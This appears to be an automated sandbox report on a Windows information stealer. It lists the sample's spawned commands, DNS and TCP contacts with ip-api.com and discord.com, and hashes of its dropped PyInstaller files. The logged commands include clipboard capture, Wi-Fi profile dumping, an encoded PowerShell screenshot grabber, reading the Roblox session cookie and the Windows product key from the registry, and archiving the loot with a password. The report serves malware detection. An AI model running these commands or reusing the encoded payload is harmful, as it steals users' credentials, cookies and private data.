AHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\netsh.exe

netsh wlan show profile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zx4tasnf\zx4tasnf.cmdline"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESADB5.tmp" "c:\Users\Admin\AppData\Local\Temp\zx4tasnf\CSCDCC8E14CD1A0484195D086CBC7BD3754.TMP"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\wbem\wmiprvse.exe

C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding

C:\Windows\System32\WaaSMedicAgent.exe

C:\Windows\System32\WaaSMedicAgent.exe 40c12fdb51a6c450138ce537b49cde54 fMpIPqayuUmPRkb9wIMs+A.0.1.0.0.0

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI41602\rar.exe a -r -hp"horns123" "C:\Users\Admin\AppData\Local\Temp\oPBFN.zip" *"

C:\Users\Admin\AppData\Local\Temp\_MEI41602\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI41602\rar.exe a -r -hp"horns123" "C:\Users\Admin\AppData\Local\Temp\oPBFN.zip" *

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Network

Country Destination Domain Proto
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 216.58.201.99:443 gstatic.com tcp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 99.201.58.216.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discord.com udp
US 162.159.137.232:443 discord.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 232.137.159.162.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 98.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 0.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 93.65.42.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\_MEI41602\python311.dll

MD5 1e76961ca11f929e4213fca8272d0194
SHA1 e52763b7ba970c3b14554065f8c2404112f53596
SHA256 8a0c27f9e5b2efd54e41d7e7067d7cb1c6d23bae5229f6d750f89568566227b0
SHA512 ec6ed913e0142a98cd7f6adced5671334ec6545e583284ae10627162b199e55867d7cf28efeaadce9862c978b01c234a850288e529d2d3e2ac7dbbb99c6cde9b

C:\Users\Admin\AppData\Local\Temp\_MEI41602\VCRUNTIME140.dll

MD5 870fea4e961e2fbd00110d3783e529be
SHA1 a948e65c6f73d7da4ffde4e8533c098a00cc7311
SHA256 76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644
SHA512 0b636a3cdefa343eb4cb228b391bb657b5b4c20df62889cd1be44c7bee94ffad6ec82dc4db79949edef576bff57867e0d084e0a597bf7bf5c8e4ed1268477e88

memory/3504-25-0x00007FFCC7FC0000-0x00007FFCC85AA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI41602\base_library.zip

MD5 2efeab81308c47666dfffc980b9fe559
SHA1 8fbb7bbdb97e888220df45cc5732595961dbe067
SHA256 a20eeb4ba2069863d40e4feab2136ca5be183887b6368e32f1a12c780a5af1ad
SHA512 39b030931a7a5940edc40607dcc9da7ca1bf479e34ebf45a1623a67d38b98eb4337b047cc8261038d27ed9e9d6f2b120abbf140c6c90d866cdba0a4c810ac32c

C:\Users\Admin\AppData\Local\Temp\_MEI41602\_ctypes.pyd

MD5 7ecc651b0bcf9b93747a710d67f6c457
SHA1 ebb6dcd3998af9fff869184017f2106d7a9c18f3
SHA256 b43963b0883ba2e99f2b7dd2110d33063071656c35e6575fca203595c1c32b1a
SHA512 1ff4837e100bc76f08f4f2e9a7314bcaf23ebfa4f9a82dc97615cde1f3d29416004c6346e51afc6e61360573df5fcd2a3b692fd544ccad5c616fb63ac49303c5

C:\Users\Admin\AppData\Local\Temp\_MEI41602\libffi-8.dll

MD5 87786718f8c46d4b870f46bcb9df7499
SHA1 a63098aabe72a3ed58def0b59f5671f2fd58650b
SHA256 1928574a8263d2c8c17df70291f26477a1e5e8b3b9ab4c4ff301f3bc5ce5ca33
SHA512 3abf0a3448709da6b196fe9238615d9d0800051786c9691f7949abb3e41dfb5bdaf4380a620e72e1df9e780f9f34e31caad756d2a69cad894e9692aa161be9f7

memory/3504-32-0x00007FFCDD7E0000-0x00007FFCDD7EF000-memory.dmp

memory/3504-29-0x00007FFCDAF70000-0x00007FFCDAF93000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI41602\_ssl.pyd

MD5 8f94142c7b4015e780011c1b883a2b2f
SHA1 c9c3c1277cca1e8fe8db366ca0ecb4a264048f05
SHA256 8b6c028a327e887f1b2ccd35661c4c7c499160e0680ca193b5c818327a72838c
SHA512 7e29163a83601ed1078c03004b3d40542e261fda3b15f22c2feec2531b05254189ae1809c71f9df78a460bf2282635e2287617f2992b6b101854ddd74fcad143

C:\Users\Admin\AppData\Local\Temp\_MEI41602\_sqlite3.pyd

MD5 72a0715cb59c5a84a9d232c95f45bf57
SHA1 3ed02aa8c18f793e7d16cc476348c10ce259feb7
SHA256 d125e113e69a49e46c5534040080bdb35b403eb4ff4e74abf963bce84a6c26ad
SHA512 73c0e768ee0c2e6ac660338d2268540254efe44901e17271595f20f335ada3a9a8af70845e8a253d83a848d800145f7ecb23c92be90e7dd6e5400f72122d09de

C:\Users\Admin\AppData\Local\Temp\_MEI41602\_socket.pyd

MD5 57dc6a74a8f2faaca1ba5d330d7c8b4b
SHA1 905d90741342ac566b02808ad0f69e552bb08930
SHA256 5b73b9ea327f7fb4cefddd65d6050cdec2832e2e634fcbf4e98e0f28d75ad7ca
SHA512 5e2b882fc51f48c469041028b01f6e2bfaf5a49005ade7e82acb375709e74ad49e13d04fd7acb6c0dbe05f06e9966a94753874132baf87858e1a71dcffc1dc07

C:\Users\Admin\AppData\Local\Temp\_MEI41602\_queue.pyd

MD5 f1e7c157b687c7e041deadd112d61316
SHA1 2a7445173518a342d2e39b19825cf3e3c839a5fe
SHA256 d92eadb90aed96acb5fac03bc79553f4549035ea2e9d03713d420c236cd37339
SHA512 982fd974e5892af9f360dc4c7ccaa59928e395ccef8ea675fadb4cf5f16b29350bf44c91ea1fd58d90cbca02522eba9543162e19c38817edbfd118bc254515da

C:\Users\Admin\AppData\Local\Temp\_MEI41602\_lzma.pyd

MD5 71f0b9f90aa4bb5e605df0ea58673578
SHA1 c7c01a11b47dc6a447c7475ef6ba7dec7c7ba24e
SHA256 d0e10445281cf3195c2a1aa4e0e937d69cae07c492b74c9c796498db33e9f535
SHA512 fc63b8b48d6786caecaf1aa3936e5f2d8fcf44a5a735f56c4200bc639d0cb9c367151a7626aa5384f6fc126a2bd0f068f43fd79277d7ec9adfc4dcb4b8398ae2

C:\Users\Admin\AppData\Local\Temp\_MEI41602\_hashlib.pyd

MD5 7edb6c172c0e44913e166abb50e6fba6
SHA1 3f8c7d0ff8981d49843372572f93a6923f61e8ed
SHA256 258ad0d7e8b2333b4b260530e14ebe6abd12cae0316c4549e276301e5865b531
SHA512 2a59cc13a151d8800a29b4f9657165027e5bf62be1d13c2e12529ef6b7674657435bfd3cc16500b2aa7ce95b405791dd007c01adf4cdd229746bd2218bfdc03f

C:\Users\Admin\AppData\Local\Temp\_MEI41602\_decimal.pyd

MD5 0cfe09615338c6450ac48dd386f545fd
SHA1 61f5bd7d90ec51e4033956e9ae1cfde9dc2544fe
SHA256 a0fa3ad93f98f523d189a8de951e42f70cc1446793098151fc50ba6b5565f2e3
SHA512 42b293e58638074ce950775f5ef10ec1a0bb5980d0df74ad89907a17f7016d68e56c6ded1338e9d04d19651f48448deee33a0657d3c03adba89406d6e5f10c18

C:\Users\Admin\AppData\Local\Temp\_MEI41602\_bz2.pyd

MD5 83b5d1943ac896a785da5343614b16bc
SHA1 9d94b7f374030fed7f6e876434907561a496f5d9
SHA256 bf79ddbfa1cc4df7987224ee604c71d9e8e7775b9109bf4ff666af189d89398a
SHA512 5e7dcc80ac85bd6dfc4075863731ea8da82edbb3f8ffafba7b235660a1bd0c60f7dfde2f7e835379388de277f9c1ceae7f209495f868cb2bd7db0de16495633c

C:\Users\Admin\AppData\Local\Temp\_MEI41602\unicodedata.pyd

MD5 908e8c719267692de04434ab9527f16e
SHA1 5657def35fbd3e5e088853f805eddd6b7b2b3ce9
SHA256 4337d02a4b24467a48b37f1ccbcebd1476ff10bdb6511fbb80030bbe45a25239
SHA512 4f9912803f1fa9f8a376f56e40a6608a0b398915b346d50b6539737f9b75d8e9a905beb5aace5fe69ba8847d815c600eb20330e79a2492168735b5cfdceff39a

C:\Users\Admin\AppData\Local\Temp\_MEI41602\sqlite3.dll

MD5 abe8eec6b8876ddad5a7d60640664f40
SHA1 0b3b948a1a29548a73aaf8d8148ab97616210473
SHA256 26fc80633494181388cf382f417389c59c28e9ffedde8c391d95eddb6840b20d
SHA512 de978d97c04bad9ebb3f423210cbcb1b78a07c21daadc5c166e00206ece8dcd7baac1d67c84923c9cc79c8b9dfbec719ce7b5f17343a069527bba1a4d0454c29

C:\Users\Admin\AppData\Local\Temp\_MEI41602\select.pyd

MD5 938c814cc992fe0ba83c6f0c78d93d3f
SHA1 e7c97e733826e53ff5f1317b947bb3ef76adb520
SHA256 9c9b62c84c2373ba509c42adbca01ad184cd525a81ccbcc92991e0f84735696e
SHA512 2f175f575e49de4b8b820171565aedb7474d52ae9914e0a541d994ff9fea38971dd5a34ee30cc570920b8618393fc40ab08699af731005542e02a6a0095691f0

C:\Users\Admin\AppData\Local\Temp\_MEI41602\rarreg.key

MD5 4531984cad7dacf24c086830068c4abe
SHA1 fa7c8c46677af01a83cf652ef30ba39b2aae14c3
SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
SHA512 00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

C:\Users\Admin\AppData\Local\Temp\_MEI41602\rar.exe

MD5 9c223575ae5b9544bc3d69ac6364f75e
SHA1 8a1cb5ee02c742e937febc57609ac312247ba386
SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
SHA512 57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

C:\Users\Admin\AppData\Local\Temp\_MEI41602\libssl-1_1.dll

MD5 7bcb0f97635b91097398fd1b7410b3bc
SHA1 7d4fc6b820c465d46f934a5610bc215263ee6d3e
SHA256 abe8267f399a803224a1f3c737bca14dee2166ba43c1221950e2fbce1314479e
SHA512 835bab65d00884912307694c36066528e7b21f3b6e7a1b9c90d4da385334388af24540b9d7a9171e89a4802612a8b6523c77f4752c052bf47adbd6839bc4b92c

C:\Users\Admin\AppData\Local\Temp\_MEI41602\libcrypto-1_1.dll

MD5 e5aecaf59c67d6dd7c7979dfb49ed3b0
SHA1 b0a292065e1b3875f015277b90d183b875451450
SHA256 9d2257d0de8172bcc8f2dba431eb91bd5b8ac5a9cbe998f1dcac0fac818800b1
SHA512 145eaa969a1a14686ab99e84841b0998cf1f726709ccd177acfb751d0db9aa70006087a13bf3693bc0b57a0295a48c631d0b80c52472c97ebe88be5c528022b4

C:\Users\Admin\AppData\Local\Temp\_MEI41602\blank.aes

MD5 2e7b2cbba65c0037e41ee1e7162745aa
SHA1 25795182469ad2816d01e83b82cbcb3f4b82c919
SHA256 3660ab62ede4301ba51ecf39c8676e52bde6cad60436e353062cff73ee19eabb
SHA512 8a0fad70fd3a51cda786b8b8d31465779af368754826b34a5b96ed46dc609bfc9307910accfba57750cf010f5db84665f509f73155821d02630d4a1cc8b52f73

memory/3504-56-0x00007FFCD6130000-0x00007FFCD6149000-memory.dmp

memory/3504-55-0x00007FFCD6B60000-0x00007FFCD6B8D000-memory.dmp

memory/3504-58-0x00007FFCD73F0000-0x00007FFCD7413000-memory.dmp

memory/3504-60-0x00007FFCC77B0000-0x00007FFCC791F000-memory.dmp

memory/3504-62-0x00007FFCD6110000-0x00007FFCD6129000-memory.dmp

memory/3504-66-0x00007FFCD6050000-0x00007FFCD607E000-memory.dmp

memory/3504-65-0x00007FFCD7550000-0x00007FFCD755D000-memory.dmp

memory/3504-70-0x00007FFCC7FC0000-0x00007FFCC85AA000-memory.dmp

memory/3504-72-0x00000206C1DC0000-0x00000206C2135000-memory.dmp

memory/3504-74-0x00007FFCDAF70000-0x00007FFCDAF93000-memory.dmp

memory/3504-80-0x00007FFCD73C0000-0x00007FFCD73CD000-memory.dmp

memory/3504-79-0x00007FFCD6130000-0x00007FFCD6149000-memory.dmp

memory/3504-77-0x00007FFCDC630000-0x00007FFCDC644000-memory.dmp

memory/3504-76-0x00007FFCDD7E0000-0x00007FFCDD7EF000-memory.dmp

memory/3504-73-0x00007FFCC7360000-0x00007FFCC76D5000-memory.dmp

memory/3504-71-0x00007FFCD6B90000-0x00007FFCD6C48000-memory.dmp

memory/3504-84-0x00007FFCC8730000-0x00007FFCC884C000-memory.dmp

memory/3944-94-0x000001A5AFC60000-0x000001A5AFC82000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vektcfrh.u4w.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3504-163-0x00007FFCD73F0000-0x00007FFCD7413000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 7274a07d1b80de6f66290b47588cee3b
SHA1 d926b384806c755fe6b9d03f68852765aabb5703
SHA256 5eba7517357473e4d5d7ede75c3768069c578d2b0023473fd67f76b373430de8
SHA512 b7813fea9091298d48c87b259b0d4473ddc4480667f82ed6b5f8bdfa600590dcbfb1d62cbaca649dcf321d85cb786bf62d48826ab04297a22b7c88439b94bcf3

\??\c:\Users\Admin\AppData\Local\Temp\zx4tasnf\zx4tasnf.cmdline

MD5 5b43cf4f613e53f25c9915fd15f5d0b7
SHA1 e742299a913685f0435f07bbc22d591344b8bb94
SHA256 4f7f084ee19ce9d48e843812f72faea406002a9b48c876263b97e97e7b299bb7
SHA512 34f8ceef355ca34613de06d9a56b11eb9a2a5e2b3aad920f060c38e1a71d7228def4f463f8376f08c69f157385b17120b6506c8fa63788c84b40bf6ab55ae146

\??\c:\Users\Admin\AppData\Local\Temp\zx4tasnf\zx4tasnf.0.cs

MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

memory/3504-192-0x00007FFCC77B0000-0x00007FFCC791F000-memory.dmp

\??\c:\Users\Admin\AppData\Local\Temp\zx4tasnf\CSCDCC8E14CD1A0484195D086CBC7BD3754.TMP

MD5 8cee7fa627f5d56a86e970882da8128f
SHA1 bfc0e171c5e6a4dbb8fceb2853507694745d4f00
SHA256 69d43274e37736850ddf465df6a7e00241157d11f63ffce1a237035ac5fc6ea2
